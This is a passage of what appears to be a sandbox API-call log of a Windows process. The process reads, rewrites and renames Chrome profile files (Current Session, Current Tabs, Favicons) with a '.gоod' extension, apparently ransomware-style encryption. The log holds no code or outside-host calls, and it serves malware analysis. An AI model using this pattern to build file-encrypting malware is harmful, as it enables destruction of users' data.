lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session", lpFilePart=0x0) returned 0x4d [0162.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0162.810] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\current session"), fInfoLevelId=0x0, lpFileInformation=0x33a5768 | out: lpFileInformation=0x33a5768*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296986b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe8be630f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa6610ba, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x212)) returned 1 [0162.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0162.810] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session", lpFilePart=0x0) returned 0x4d [0162.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0162.810] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\current session"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0162.810] GetFileType (hFile=0x650) returned 0x1 [0162.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0162.811] GetFileType (hFile=0x650) returned 0x1 [0162.811] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x1f6eaa08 | out: lpFileSizeHigh=0x1f6eaa08*=0x0) returned 0x212 [0162.811] ReadFile (in: hFile=0x650, lpBuffer=0x33a5c48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea938, lpOverlapped=0x0 | out: lpBuffer=0x33a5c48*, lpNumberOfBytesRead=0x1f6ea938*=0x212, lpOverlapped=0x0) returned 1 [0163.839] CloseHandle (hObject=0x650) returned 1 [0164.409] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session", lpFilePart=0x0) returned 0x4d [0164.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0164.409] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\current session"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0164.410] GetFileType (hFile=0x768) returned 0x1 [0164.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0164.410] GetFileType (hFile=0x768) returned 0x1 [0164.410] WriteFile (in: hFile=0x768, lpBuffer=0x3710c88*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x1f6ea848, lpOverlapped=0x0 | out: lpBuffer=0x3710c88*, lpNumberOfBytesWritten=0x1f6ea848*=0x220, lpOverlapped=0x0) returned 1 [0164.411] CloseHandle (hObject=0x768) returned 1 [0164.411] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session", lpFilePart=0x0) returned 0x4d [0164.411] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session.gоod", lpFilePart=0x0) returned 0x52 [0164.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0164.411] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\current session"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296986b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe8be630f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5e34f28d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x220)) returned 1 [0164.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0164.412] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\current session"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\current session.gоod")) returned 1 [0164.412] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs", lpFilePart=0x0) returned 0x4a [0164.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0164.412] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\current tabs"), fInfoLevelId=0x0, lpFileInformation=0x3711ef8 | out: lpFileInformation=0x3711ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5776f89b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa7b85d6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa7b85d6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x16a)) returned 1 [0164.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0164.414] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs", lpFilePart=0x0) returned 0x4a [0164.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0164.414] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\current tabs"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0164.414] GetFileType (hFile=0x768) returned 0x1 [0164.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0164.414] GetFileType (hFile=0x768) returned 0x1 [0164.414] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1f6eaa08 | out: lpFileSizeHigh=0x1f6eaa08*=0x0) returned 0x16a [0164.414] ReadFile (in: hFile=0x768, lpBuffer=0x3712320, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea938, lpOverlapped=0x0 | out: lpBuffer=0x3712320*, lpNumberOfBytesRead=0x1f6ea938*=0x16a, lpOverlapped=0x0) returned 1 [0164.465] CloseHandle (hObject=0x768) returned 1 [0164.834] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs", lpFilePart=0x0) returned 0x4a [0164.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0164.835] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\current tabs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0164.835] GetFileType (hFile=0x640) returned 0x1 [0164.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0164.836] GetFileType (hFile=0x640) returned 0x1 [0164.836] WriteFile (in: hFile=0x640, lpBuffer=0x34cc038*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x1f6ea848, lpOverlapped=0x0 | out: lpBuffer=0x34cc038*, lpNumberOfBytesWritten=0x1f6ea848*=0x170, lpOverlapped=0x0) returned 1 [0164.837] CloseHandle (hObject=0x640) returned 1 [0164.837] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs", lpFilePart=0x0) returned 0x4a [0164.837] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs.gоod", lpFilePart=0x0) returned 0x4f [0164.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0164.837] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\current tabs"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5776f89b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa7b85d6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5e77b4e7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x170)) returned 1 [0164.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0164.837] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\current tabs"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\current tabs.gоod")) returned 1 [0164.838] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons", lpFilePart=0x0) returned 0x46 [0164.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0164.838] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\favicons"), fInfoLevelId=0x0, lpFileInformation=0x34cd290 | out: lpFileInformation=0x34cd290*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5242d194, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5242d194, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x527b211b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x5000)) returned 1 [0164.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0164.838] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons", lpFilePart=0x0) returned 0x46 [0164.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0164.838] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\favicons"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0164.838] GetFileType (hFile=0x640) returned 0x1 [0164.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0164.838] GetFileType (hFile=0x640) returned 0x1 [0164.838] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x1000 [0164.838] ReadFile (in: hFile=0x640, lpBuffer=0x34cd698, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea9d8, lpOverlapped=0x0 | out: lpBuffer=0x34cd698*, lpNumberOfBytesRead=0x1f6ea9d8*=0x1000, lpOverlapped=0x0) returned 1 [0164.840] CloseHandle (hObject=0x640) returned 1 [0164.840] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons", lpFilePart=0x0) returned 0x46 [0164.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0164.840] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\favicons"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0164.840] GetFileType (hFile=0x640) returned 0x1 [0164.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0164.840] GetFileType (hFile=0x640) returned 0x1 [0164.840] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x5000 [0164.840] WriteFile (in: hFile=0x640, lpBuffer=0x34d1158*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea8f8, lpOverlapped=0x0 | out: lpBuffer=0x34d1158*, lpNumberOfBytesWritten=0x1f6ea8f8*=0x10, lpOverlapped=0x0) returned 1 [0164.841] CloseHandle (hObject=0x640) returned 1 [0164.841] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons", lpFilePart=0x0) returned 0x46 [0164.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0164.841] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\favicons"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0164.841] GetFileType (hFile=0x640) returned 0x1 [0164.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0164.841] GetFileType (hFile=0x640) returned 0x1 [0164.841] ReadFile (in: hFile=0x640, lpBuffer=0x34d3410, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea988, lpOverlapped=0x0 | out: lpBuffer=0x34d3410*, lpNumberOfBytesRead=0x1f6ea988*=0x1000, lpOverlapped=0x0) returned 1 [0165.048] CloseHandle (hObject=0x640) returned 1 [0165.049] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons", lpFilePart=0x0) returned 0x46 [0165.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0165.049] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\favicons"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0165.049] GetFileType (hFile=0x640) returned 0x1 [0165.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0165.049] GetFileType (hFile=0x640) returned 0x1 [0165.049] WriteFile (in: hFile=0x640, lpBuffer=0x3385d28*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eaa38, lpOverlapped=0x0 | out: lpBuffer=0x3385d28*, lpNumberOfBytesWritten=0x1f6eaa38*=0x1010, lpOverlapped=0x0) returned 1 [0165.049] CloseHandle (hObject=0x640) returned 1 [0165.049] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons", lpFilePart=0x0) returned 0x46 [0165.049] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons.gоod", lpFilePart=0x0) returned 0x4b [0165.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0165.049] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\favicons"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5242d194, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5242d194, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5e96b2cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5010)) returned 1 [0165.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0165.049] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\favicons"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\favicons.gоod")) returned 1 [0165.050] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal", lpFilePart=0x0) returned 0x4e [0165.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0165.050] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\favicons-journal"), fInfoLevelId=0x0, lpFileInformation=0x34fe778 | out: lpFileInformation=0x34fe778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5242f8b3, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5242f8b3, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x529538f7, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0165.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0165.050] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal", lpFilePart=0x0) returned 0x4e [0165.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0165.050] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\favicons-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0165.050] GetFileType (hFile=0x640) returned 0x1 [0165.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0165.050] GetFileType (hFile=0x640) returned 0x1 [0165.050] GetFileSize (in: hFile=0x640, lpFileSizeHigh=0x1f6eaa08 | out: lpFileSizeHigh=0x1f6eaa08*=0x0) returned 0x0 [0165.050] CloseHandle (hObject=0x640) returned 1 [0165.943] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal", lpFilePart=0x0) returned 0x4e [0165.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0165.943] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\favicons-journal"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0165.944] GetFileType (hFile=0x63c) returned 0x1 [0165.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0165.944] GetFileType (hFile=0x63c) returned 0x1 [0165.944] WriteFile (in: hFile=0x63c, lpBuffer=0x33e9450*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea848, lpOverlapped=0x0 | out: lpBuffer=0x33e9450*, lpNumberOfBytesWritten=0x1f6ea848*=0x10, lpOverlapped=0x0) returned 1 [0165.945] CloseHandle (hObject=0x63c) returned 1 [0165.945] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal", lpFilePart=0x0) returned 0x4e [0165.945] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal.gоod", lpFilePart=0x0) returned 0x53 [0165.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0165.945] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\favicons-journal"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5242f8b3, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5242f8b3, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5f20f95c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0165.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0165.945] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\favicons-journal"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\favicons-journal.gоod")) returned 1 [0165.946] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico", lpFilePart=0x0) returned 0x50 [0165.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 